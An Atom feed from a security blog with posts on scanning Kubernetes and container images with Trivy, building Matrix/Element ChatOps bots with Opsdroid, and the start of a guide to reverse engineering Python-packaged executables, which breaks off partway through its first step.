<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.8.7">Jekyll</generator><link href="https://www.netscylla.com/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://www.netscylla.com/blog/" rel="alternate" type="text/html" /><updated>2025-06-16T13:22:54+00:00</updated><id>https://www.netscylla.com/blog/feed.xml</id><title type="html">Netscylla’s Blog</title><subtitle>Interesting thoughts and opinions from the field of cyber security in general, focusing mainly on penetration testing and red-teaming, with the occasional perspective from blue-teaming and DevSecOps.</subtitle><entry><title type="html">Using Trivy to Analyze Security in Kubernetes Clusters</title><link href="https://www.netscylla.com/blog/kubernetes/security/devsecops/2025/06/16/Trivy.html" rel="alternate" type="text/html" title="Using Trivy to Analyze Security in Kubernetes Clusters" /><published>2025-06-16T09:03:00+00:00</published><updated>2025-06-16T09:03:00+00:00</updated><id>https://www.netscylla.com/blog/kubernetes/security/devsecops/2025/06/16/Trivy</id><content type="html" xml:base="https://www.netscylla.com/blog/kubernetes/security/devsecops/2025/06/16/Trivy.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/Trivy.png&quot; alt=&quot;Trivy Image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Security in cloud-native environments, particularly Kubernetes clusters, is a moving target. Misconfigurations, unpatched software, and vulnerable container images pose significant risks. One tool that’s gained popularity for tackling this is &lt;a href=&quot;https://github.com/aquasecurity/trivy&quot;&gt;Trivy&lt;/a&gt;, an open-source vulnerability and misconfiguration scanner developed by Aqua Security.&lt;/p&gt;

&lt;p&gt;In this post, we’ll explore how Trivy helps you analyze and secure your Kubernetes environment—covering image scanning, configuration checks, and more.&lt;/p&gt;

&lt;h2 id=&quot;-what-is-trivy&quot;&gt;🔍 What is Trivy?&lt;/h2&gt;

&lt;p&gt;Trivy (pronounced &lt;em&gt;triv-ee&lt;/em&gt;) is a comprehensive, easy-to-use tool that can scan:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Container images&lt;/li&gt;
  &lt;li&gt;File systems&lt;/li&gt;
  &lt;li&gt;Git repositories&lt;/li&gt;
  &lt;li&gt;Kubernetes clusters (via kubeconfig)&lt;/li&gt;
  &lt;li&gt;Infrastructure as Code (IaC) like Terraform and Helm&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Trivy supports CVE (Common Vulnerabilities and Exposures) scanning and policy-as-code checks using Open Policy Agent (OPA) and built-in rules for security misconfigurations.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-installation&quot;&gt;🚀 Installation&lt;/h2&gt;

&lt;p&gt;You can install Trivy with a single command (on macOS/Linux):&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;brew install aquasecurity/trivy/trivy
# or for Linux
wget https://github.com/aquasecurity/trivy/releases/latest/download/trivy_0.50.1_Linux-64bit.deb
sudo dpkg -i trivy_0.50.1_Linux-64bit.deb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can also run it as a Docker container:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy image nginx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-scanning-a-container-image&quot;&gt;🐳 Scanning a Container Image&lt;/h2&gt;

&lt;p&gt;Let’s scan a simple &lt;code class=&quot;highlighter-rouge&quot;&gt;nginx&lt;/code&gt; image for vulnerabilities:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;trivy image nginx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sample output:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Target&lt;/th&gt;
      &lt;th&gt;Vulnerability ID&lt;/th&gt;
      &lt;th&gt;Pkg Name&lt;/th&gt;
      &lt;th&gt;Installed Version&lt;/th&gt;
      &lt;th&gt;Fixed Version&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;nginx:latest&lt;/td&gt;
      &lt;td&gt;CVE-2021-23017&lt;/td&gt;
      &lt;td&gt;nginx&lt;/td&gt;
      &lt;td&gt;1.21.0&lt;/td&gt;
      &lt;td&gt;1.21.1&lt;/td&gt;
      &lt;td&gt;HIGH&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;To limit output to just critical issues:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;trivy image --severity CRITICAL nginx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-scanning-kubernetes-clusters&quot;&gt;🛡 Scanning Kubernetes Clusters&lt;/h2&gt;

&lt;p&gt;Trivy can audit a live Kubernetes cluster for misconfigurations and security issues:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;trivy k8s --report summary cluster
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Example output:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Namespace&lt;/th&gt;
      &lt;th&gt;Resource&lt;/th&gt;
      &lt;th&gt;Misconfiguration&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
      &lt;th&gt;Message&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;default&lt;/td&gt;
      &lt;td&gt;Deployment/nginx&lt;/td&gt;
      &lt;td&gt;NET_ADMIN&lt;/td&gt;
      &lt;td&gt;HIGH&lt;/td&gt;
      &lt;td&gt;Container should not run with NET_ADMIN capability&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;kube-system&lt;/td&gt;
      &lt;td&gt;Pod/coredns&lt;/td&gt;
      &lt;td&gt;HostPath&lt;/td&gt;
      &lt;td&gt;MEDIUM&lt;/td&gt;
      &lt;td&gt;Avoid using hostPath for improved isolation&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;You can scan individual resources too:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;trivy k8s clusterrolebinding
trivy k8s deployment nginx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-scanning-configuration-files&quot;&gt;🔧 Scanning Configuration Files&lt;/h2&gt;

&lt;p&gt;Want to validate your &lt;code class=&quot;highlighter-rouge&quot;&gt;helm&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;yaml&lt;/code&gt;, or &lt;code class=&quot;highlighter-rouge&quot;&gt;terraform&lt;/code&gt; files before deployment?&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;trivy config ./k8s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Example result:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;File&lt;/th&gt;
      &lt;th&gt;Misconfiguration&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
      &lt;th&gt;Message&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;deployment.yaml&lt;/td&gt;
      &lt;td&gt;runAsRoot&lt;/td&gt;
      &lt;td&gt;HIGH&lt;/td&gt;
      &lt;td&gt;Container should not run as root&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;service.yaml&lt;/td&gt;
      &lt;td&gt;NodePort&lt;/td&gt;
      &lt;td&gt;MEDIUM&lt;/td&gt;
      &lt;td&gt;Avoid exposing services via NodePort&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-integrating-trivy-in-cicd&quot;&gt;📦 Integrating Trivy in CI/CD&lt;/h2&gt;

&lt;p&gt;You can integrate Trivy with your CI pipelines (GitHub Actions, GitLab CI, Jenkins):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example GitHub Action:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;name: Trivy Scan

on:
  push:
    branches: [main]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Install Trivy
        run: |
          wget https://github.com/aquasecurity/trivy/releases/latest/download/trivy_0.50.1_Linux-64bit.deb
          sudo dpkg -i trivy_0.50.1_Linux-64bit.deb
      - name: Run Trivy on image
        run: trivy image myapp:latest
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-tips-for-using-trivy-effectively&quot;&gt;📘 Tips for Using Trivy Effectively&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Tip&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;--ignore-unfixed&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Ignore CVEs that have no fixed version yet&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;--format json&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Output in JSON for automated processing&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;--exit-code&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Set exit codes based on severity&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;--timeout&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Set timeout to avoid long-running scans&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Use Trivy Operator&lt;/td&gt;
      &lt;td&gt;Scan resources continuously in live clusters&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-summary&quot;&gt;✅ Summary&lt;/h2&gt;

&lt;p&gt;Trivy is a must-have tool in your Kubernetes security toolbox. It combines ease of use with powerful scanning capabilities for container images, infrastructure code, and live clusters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next Steps:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Integrate Trivy into your CI/CD pipelines&lt;/li&gt;
  &lt;li&gt;Use Trivy Operator in your cluster&lt;/li&gt;
  &lt;li&gt;Regularly review scan reports and enforce policies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security is a journey—not a checkbox. Trivy helps you walk that path confidently.&lt;/p&gt;</content><author><name></name></author><category term="trivy" /><category term="kubernetes" /><category term="container-security" /><category term="devsecops" /><category term="vulnerability-scanning" /><summary type="html"></summary></entry><entry><title type="html">Matrix &amp;amp; Element: Automating Operations via Secure Messaging</title><link href="https://www.netscylla.com/blog/2025/05/16/Matrix-ChatOps.html" rel="alternate" type="text/html" title="Matrix &amp; Element: Automating Operations via Secure Messaging" /><published>2025-05-16T09:00:00+00:00</published><updated>2025-05-16T09:00:00+00:00</updated><id>https://www.netscylla.com/blog/2025/05/16/Matrix-ChatOps</id><content type="html" xml:base="https://www.netscylla.com/blog/2025/05/16/Matrix-ChatOps.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/Matrix.png&quot; alt=&quot;Matrix Header&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Modern DevOps and SRE teams are under constant pressure to respond to incidents, deploy quickly, and collaborate across time zones. &lt;strong&gt;ChatOps&lt;/strong&gt;—the practice of managing operations tasks via messaging platforms—has become a powerful technique to streamline workflows. In this post, we’ll dive into how you can build and use ChatOps workflows using &lt;strong&gt;Matrix&lt;/strong&gt;, an open protocol for decentralized communication, and &lt;strong&gt;Element&lt;/strong&gt;, its popular client.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;💡 Matrix + Element provides a self-hostable, secure, and extensible foundation for ChatOps, without vendor lock-in.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-why-matrix-for-chatops&quot;&gt;💬 Why Matrix for ChatOps?&lt;/h2&gt;

&lt;p&gt;While Slack and Microsoft Teams dominate enterprise chat, they have limitations:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Proprietary and closed&lt;/li&gt;
  &lt;li&gt;Limited customization&lt;/li&gt;
  &lt;li&gt;Expensive at scale&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Matrix is an open standard that enables &lt;strong&gt;federated, encrypted messaging&lt;/strong&gt;. You can:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Run your own server (Synapse, Dendrite, Conduit)&lt;/li&gt;
  &lt;li&gt;Use end-to-end encryption (E2EE)&lt;/li&gt;
  &lt;li&gt;Integrate bots and bridges&lt;/li&gt;
  &lt;li&gt;Scale horizontally&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Element&lt;/strong&gt; is the most mature Matrix client and supports E2EE, threads, widgets, and more.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;️-setting-up-matrix--element&quot;&gt;🛠️ Setting Up Matrix + Element&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Deploy a Matrix server&lt;/strong&gt;:
You can run &lt;a href=&quot;https://github.com/matrix-org/synapse&quot;&gt;Synapse&lt;/a&gt; using Docker:&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run -d \
  -p 8008:8008 -p 8448:8448 \
  -v /data/synapse:/data \
  matrixdotorg/synapse:latest
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Create an admin account&lt;/strong&gt;:
Register a user and make them an admin via the admin API.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use Element Web or Desktop&lt;/strong&gt;:
Download from &lt;a href=&quot;https://element.io&quot;&gt;https://element.io&lt;/a&gt;, and connect to your Matrix server.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Set up rooms for your teams&lt;/strong&gt;:
Create rooms for deployment notifications, incident handling, CI/CD logs, etc.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-adding-bots-to-matrix&quot;&gt;🤖 Adding Bots to Matrix&lt;/h2&gt;

&lt;p&gt;You can integrate bots for ChatOps using:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Tool / Bot&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/maubot/maubot&quot;&gt;maubot&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Plugin-based Matrix bot framework&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/turt2live/matrix-bot-sdk&quot;&gt;matrix-bot-sdk&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;TypeScript SDK for writing custom bots&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://opsdroid.dev/&quot;&gt;Opsdroid&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Python bot platform with Matrix support&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/ndavison/matrix-webhook&quot;&gt;Matrix-Webhook&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Lightweight bridge for webhooks into Matrix&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-example-deploy-with-chatops-via-matrix&quot;&gt;🚀 Example: Deploy with ChatOps via Matrix&lt;/h2&gt;

&lt;p&gt;Let’s say you want to trigger a deployment from a chat message.&lt;/p&gt;

&lt;h3 id=&quot;1-create-a-bot-with-opsdroid&quot;&gt;1. Create a bot with Opsdroid&lt;/h3&gt;

&lt;p&gt;Install opsdroid and add a simple skill:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pip install opsdroid
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# configuration.yaml
connectors:
  matrix:
    mxid: &quot;@bot:matrix.example.com&quot;
    password: &quot;yourbotpassword&quot;
    homeserver: &quot;https://matrix.example.com&quot;

skills:
  deploy:
    path: &quot;skills/deploy.py&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# skills/deploy.py
from opsdroid.skill import Skill
from opsdroid.matchers import match_regex
import subprocess

class DeploySkill(Skill):
    @match_regex(r&quot;deploy (\\w+)&quot;)
    async def deploy_service(self, message):
        service = message.regex.group(1)
        subprocess.call([&quot;/usr/local/bin/deploy&quot;, service])
        await message.respond(f&quot;🚀 Deploy triggered for `{service}`.&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2-say-it-in-the-room&quot;&gt;2. Say it in the room&lt;/h3&gt;

&lt;p&gt;Just type:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@bot deploy backend
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And it responds:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;🚀 Deploy triggered for `backend`.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-secure--auditable&quot;&gt;🔐 Secure &amp;amp; Auditable&lt;/h2&gt;

&lt;p&gt;Matrix logs are persistent, searchable, and optionally &lt;strong&gt;E2E encrypted&lt;/strong&gt;, giving you:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A secure audit trail&lt;/li&gt;
  &lt;li&gt;Federation support for partner ops teams&lt;/li&gt;
  &lt;li&gt;Isolation by room or permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using &lt;strong&gt;access controls&lt;/strong&gt; and &lt;strong&gt;bot verification&lt;/strong&gt;, you can limit what actions can be triggered and by whom.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-other-chatops-use-cases&quot;&gt;🧰 Other ChatOps Use Cases&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Use Case&lt;/th&gt;
      &lt;th&gt;How Matrix Helps&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;CI/CD build notifications&lt;/td&gt;
      &lt;td&gt;Receive webhooks in a &lt;code class=&quot;highlighter-rouge&quot;&gt;#builds&lt;/code&gt; room&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Incident response&lt;/td&gt;
      &lt;td&gt;Runbooks, status updates, postmortems&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Monitoring alerts&lt;/td&gt;
      &lt;td&gt;Push Prometheus/Alertmanager events&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Secrets management&lt;/td&gt;
      &lt;td&gt;Use E2EE rooms for sharing OTP/secrets&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;GitOps triggers&lt;/td&gt;
      &lt;td&gt;Trigger Flux/Argo actions from chat&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-tip-add-widgets--dashboards&quot;&gt;🧪 Tip: Add Widgets &amp;amp; Dashboards&lt;/h2&gt;

&lt;p&gt;Matrix rooms can contain &lt;strong&gt;widgets&lt;/strong&gt; (e.g., Grafana dashboards, CI/CD status boards, Jitsi calls). You can create rich status and observability experiences inside the chat environment.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-summary&quot;&gt;✅ Summary&lt;/h2&gt;

&lt;p&gt;Matrix and Element offer a powerful, open-source alternative to proprietary ChatOps platforms. With bots, widgets, secure messaging, and federation, they enable high-trust, high-efficiency operational workflows.&lt;/p&gt;

&lt;p&gt;Start with a self-hosted Matrix server, add Element clients, connect bots like Opsdroid, and &lt;strong&gt;automate the boring (and dangerous!) stuff&lt;/strong&gt;—right from your chat.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://matrix.org/&quot;&gt;Matrix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://element.io/&quot;&gt;Element&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chatgpt.com/&quot;&gt;Chatgpt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="matrix" /><category term="element" /><category term="chatops" /><category term="bot" /><category term="automation" /><category term="ops" /><summary type="html"></summary></entry><entry><title type="html">Reversing Python Exes</title><link href="https://www.netscylla.com/blog/2025/04/16/Reversing-Python-Exes.html" rel="alternate" type="text/html" title="Reversing Python Exes" /><published>2025-04-16T09:03:00+00:00</published><updated>2025-04-16T09:03:00+00:00</updated><id>https://www.netscylla.com/blog/2025/04/16/Reversing-Python-Exes</id><content type="html" xml:base="https://www.netscylla.com/blog/2025/04/16/Reversing-Python-Exes.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/python_reverse.png&quot; alt=&quot;Reversing Python Logo&quot; height=&quot;400&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;python-exes&quot;&gt;Python Exes&lt;/h1&gt;

&lt;p&gt;Malicious actors are increasingly turning to Python as a weapon of choice for crafting sophisticated malware—thanks to its simplicity and rich library ecosystem. But distributing raw Python scripts is a red flag, so attackers often obfuscate and package their code using tools like py2exe. This Windows-only utility converts .py files into .exe binaries, effectively hiding the logic, embedding dependencies, and making reverse engineering trickier—but not impossible.&lt;/p&gt;

&lt;p&gt;In this post, we dive into the inner workings of py2exe, explore how malware authors leverage it to conceal functionality, and walk through the reverse engineering process to unpack and analyze such executables. Along the way, we’ll discuss:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The structure of a py2exe-generated EXE&lt;/li&gt;
  &lt;li&gt;Common obfuscation techniques&lt;/li&gt;
  &lt;li&gt;Tools and techniques to recover readable Python source&lt;/li&gt;
  &lt;li&gt;Real-world examples and red flags&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whether you’re a malware analyst or just curious about how Python EXEs work under the hood, this guide will give you a hands-on look at how to dismantle the illusion of protection.&lt;/p&gt;

&lt;h2 id=&quot;understanding-pyinstaller-py2exe-and-meipass2-converting-python-scripts-to-exes&quot;&gt;Understanding pyinstaller, py2exe, and MEIPASS2: Converting Python Scripts to EXEs&lt;/h2&gt;

&lt;p&gt;If you’re working with Python and need to distribute your code as a standalone executable, tools like pyinstaller and py2exe are your go-to solutions. These tools bundle your Python scripts, the Python interpreter, and all dependencies into a single .exe file that can run on Windows systems without requiring Python to be installed.&lt;/p&gt;

&lt;h3 id=&quot;-how-it-works&quot;&gt;🛠 How it Works&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;pyinstaller&lt;/strong&gt; is the most popular tool. It analyzes your script and packages everything into a self-contained EXE.&lt;/p&gt;

&lt;p&gt;It can operate in two modes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;one-folder (output is a folder of files including the EXE)&lt;/li&gt;
  &lt;li&gt;and one-file (a single executable that extracts itself at runtime).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;-whats-with-meipass2&quot;&gt;🧪 What’s with MEIPASS2?&lt;/h3&gt;

&lt;p&gt;When you compile with –onefile, pyinstaller creates a temporary folder where it extracts all your bundled files before launching your app. This temporary directory is referenced by the _MEIPASS (or MEIPASS2 in older versions) environment variable. This is crucial for internal access to files like bundled assets or modules.&lt;/p&gt;

&lt;p&gt;So when you’re reverse engineering a pyinstaller EXE, you’re often looking for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The &lt;strong&gt;_MEIPASS&lt;/strong&gt; path.&lt;/li&gt;
  &lt;li&gt;Embedded .pyc files (compiled Python files).&lt;/li&gt;
  &lt;li&gt;Signs of encryption or compression that hide the source.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;-tools-youll-need&quot;&gt;🔧 Tools You’ll Need&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rocky/python-decompile3&quot;&gt;python-decompile3&lt;/a&gt; — CLI decompiler for &lt;code class=&quot;highlighter-rouge&quot;&gt;.pyc&lt;/code&gt; files, supporting newer Python versions.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pylingual.io&quot;&gt;pylingual.io&lt;/a&gt; — a web GUI for quick &lt;code class=&quot;highlighter-rouge&quot;&gt;.pyc&lt;/code&gt; to &lt;code class=&quot;highlighter-rouge&quot;&gt;.py&lt;/code&gt; conversion.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/extremecoders-re/pyinstxtractor&quot;&gt;pyinstxtractor&lt;/a&gt; — (optional) for extracting embedded &lt;code class=&quot;highlighter-rouge&quot;&gt;.pyc&lt;/code&gt; files from PyInstaller packages.&lt;/li&gt;
  &lt;li&gt;A hex editor and/or unpacker (e.g., PE Explorer or Detect It Easy).&lt;/li&gt;
  &lt;li&gt;Python (ideally same version used to build EXE, for &lt;code class=&quot;highlighter-rouge&quot;&gt;.pyc&lt;/code&gt; compatibility).&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-step-1-inspect-the-binary&quot;&gt;🔍 Step 1: Inspect the Binary&lt;/h2&gt;

&lt;p&gt;Start by scanning the executable using a tool like &lt;strong&gt;Detect It Easy&lt;/strong&gt;. Identify whether the EXE was built with &lt;code class=&quot;highlighter-rouge&quot;&gt;py2exe&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;pyinstaller&lt;/code&gt;, or another packer.&lt;/p&gt;

&lt;p&gt;Check for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Embedded &lt;code class=&quot;highlighter-rouge&quot;&gt;.zip&lt;/code&gt; files or &lt;code class=&quot;highlighter-rouge&quot;&gt;PYTHONSCRIPT&lt;/code&gt; resources&lt;/li&gt;
  &lt;li&gt;Presence of &lt;code class=&quot;highlighter-rouge&quot;&gt;library.zip&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;PYTHON27.DLL&lt;/code&gt;&lt;/li&gt;
